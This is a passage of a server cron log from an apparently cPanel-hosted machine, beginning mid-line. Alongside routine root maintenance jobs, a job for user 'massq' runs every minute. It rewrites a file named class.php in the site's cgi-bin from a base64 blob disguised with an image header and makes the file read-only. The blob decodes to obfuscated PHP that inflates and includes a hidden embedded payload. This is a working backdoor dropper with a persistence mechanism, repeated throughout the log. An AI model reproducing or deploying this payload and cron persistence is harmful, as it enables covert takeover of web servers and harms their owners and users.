V9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 14:03:01 server CROND[31277]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 14:04:01 server CROND[31374]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 14:05:01 server CROND[31681]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 14:05:01 server CROND[31684]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 14:05:01 server CROND[31683]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Apr  8 14:05:01 server CROND[31685]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 14:05:01 server CROND[31686]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 14:06:01 server CROND[31846]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 14:07:01 server CROND[31939]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 14:08:01 server CROND[32025]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 14:09:01 server CROND[32115]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 14:09:01 server CROND[32116]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  8 14:10:01 server CROND[32304]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 14:10:01 server CROND[32306]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 14:10:01 server CROND[32303]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 14:10:01 server CROND[32305]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 14:11:01 server CROND[32476]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 14:12:01 server CROND[32616]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 14:12:01 server CROND[32617]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 14:13:01 server CROND[32702]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 14:14:01 server CROND[359]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 14:15:01 server CROND[519]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr  8 14:15:01 server CROND[521]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 14:15:01 server CROND[522]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 14:15:01 server CROND[524]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
